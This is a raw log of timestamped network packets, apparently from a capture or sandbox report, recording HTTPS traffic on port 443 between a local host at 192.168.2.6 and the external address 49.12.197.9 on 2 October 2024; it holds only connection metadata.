Oct 2, 2024 17:16:47.150846958 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.150885105 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.150938034 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.180890083 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.180954933 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.181016922 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.181046963 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.181082010 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.181107998 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.234184027 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.234247923 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.234344959 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.234375954 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.234441042 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.275085926 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.275113106 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.275216103 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.275271893 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.275326967 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.293113947 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.293139935 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.293236017 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.293286085 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.293378115 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.297158957 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.297184944 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.297229052 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.297252893 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.297269106 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.297290087 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.303642988 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.303678989 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.303719044 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.303750992 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.303766012 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.303796053 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.322654963 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.322712898 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.322757006 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.322791100 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.322807074 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.322839022 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.598829031 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.598845005 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.598879099 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.598928928 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.598963976 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.598979950 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.599004984 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.599577904 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.599596024 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.599657059 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.599663973 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.599775076 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.600112915 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.600127935 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.600181103 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.600188971 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.600209951 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.600228071 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.605711937 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.605729103 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.605811119 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.605824947 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.605923891 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.606651068 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.606666088 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.606730938 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.606738091 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.606843948 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.607799053 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.607812881 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.607873917 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.607881069 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.608776093 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.608795881 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.608843088 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.608853102 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.609708071 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.609723091 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.609765053 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.609776974 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.610649109 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.610667944 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.610706091 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.610713959 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.611314058 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.611634970 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.611649990 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.611705065 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.611711979 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.611747980 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.612775087 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.612790108 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.612843990 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.612850904 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.612927914 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.613698006 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.613713026 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.613773108 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.613780022 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.613847971 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.614809036 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.614824057 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.614871979 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.614878893 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.615047932 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.615704060 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.615719080 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.615783930 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.615792990 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.615968943 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.616734028 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.616750002 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.616801977 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.616807938 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.617753029 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.617779016 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.617815971 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.617821932 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.617837906 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.617866993 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.618685007 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.618700981 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.618743896 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.618751049 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.619314909 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.619649887 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.619663954 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.619714975 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.619721889 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.619811058 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.620206118 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.620218992 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.620270014 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.620275974 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.620330095 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.620791912 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.620809078 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.620850086 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.620855093 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.621542931 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.621561050 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.621596098 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.621603966 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.621613979 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.621629000 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.621637106 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.621644974 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.621670961 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.621701002 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.622340918 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.622356892 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.622397900 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.622404099 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.623114109 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.623131990 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.623174906 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.623181105 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.623306036 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.623724937 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.623740911 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.623796940 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.623801947 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.623876095 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.631700039 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.631720066 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.631793022 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.631808043 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.635319948 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.644257069 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.644278049 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.644315958 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.644352913 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.644366026 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.644398928 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.644398928 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.644416094 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.644459963 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.644803047 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.644821882 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.645905972 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.645953894 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.646040916 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.646451950 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.646464109 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.291565895 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.295404911 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.511410952 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.511466026 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.518929958 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.518944025 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.830159903 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.830188990 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.830205917 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.830229044 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.830265045 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.830281973 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.830287933 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.830324888 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.830348015 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.839215040 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.839232922 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.839302063 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.839324951 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.839607000 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.928636074 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.928703070 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.928744078 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.928781986 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.928798914 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.928824902 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.959357023 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.959440947 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.959487915 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.959512949 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.959537029 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.959556103 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.992038012 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.992062092 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.992160082 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:48.992193937 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:48.992244959 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.022053003 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.022111893 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.022150993 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.022173882 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.022197962 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.022221088 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.044409037 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.044435024 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.044493914 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.044526100 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.044545889 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.044826984 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.065902948 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.065934896 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.065995932 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.066025972 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.066050053 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.066085100 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.087677956 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.087742090 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.087774992 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.087785959 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.087831020 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.105214119 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.105241060 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.105313063 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.105325937 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.105365992 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.105386019 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.124758005 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.124815941 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.124952078 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.124952078 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.124974012 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.125228882 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.138498068 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.138545990 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.138578892 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.138593912 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.138622046 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.138637066 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.151401043 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.151428938 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.151520967 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.151535034 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.151609898 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.161199093 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.161225080 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.161286116 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.161299944 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.161345005 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.161362886 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.169521093 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.169545889 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.169634104 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.169650078 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.169692039 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.178977966 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.178999901 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.179063082 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.179078102 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.179104090 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.179119110 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.188065052 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.188087940 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.188155890 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.188168049 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.188220024 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.195359945 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.195431948 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.195437908 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.195462942 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.195487976 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.195524931 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.207796097 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.207820892 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.207885027 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.207904100 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.207946062 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.222543955 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.222584009 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.222652912 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.222676992 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.222687006 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.222718000 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.233675003 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.233709097 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.233762026 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.233781099 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.233792067 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.233819008 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.244699955 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.244731903 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.244790077 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.244803905 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.244812965 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.245160103 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.256757021 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.256823063 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.256858110 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.256870031 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.256897926 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.256932020 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.262959003 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.263011932 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.263048887 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.263062000 CEST	443	65244	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:49.263092041 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.263111115 CEST	65244	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:49.273751974 CEST	443	65244	49.12.197.9	192.168.2.6
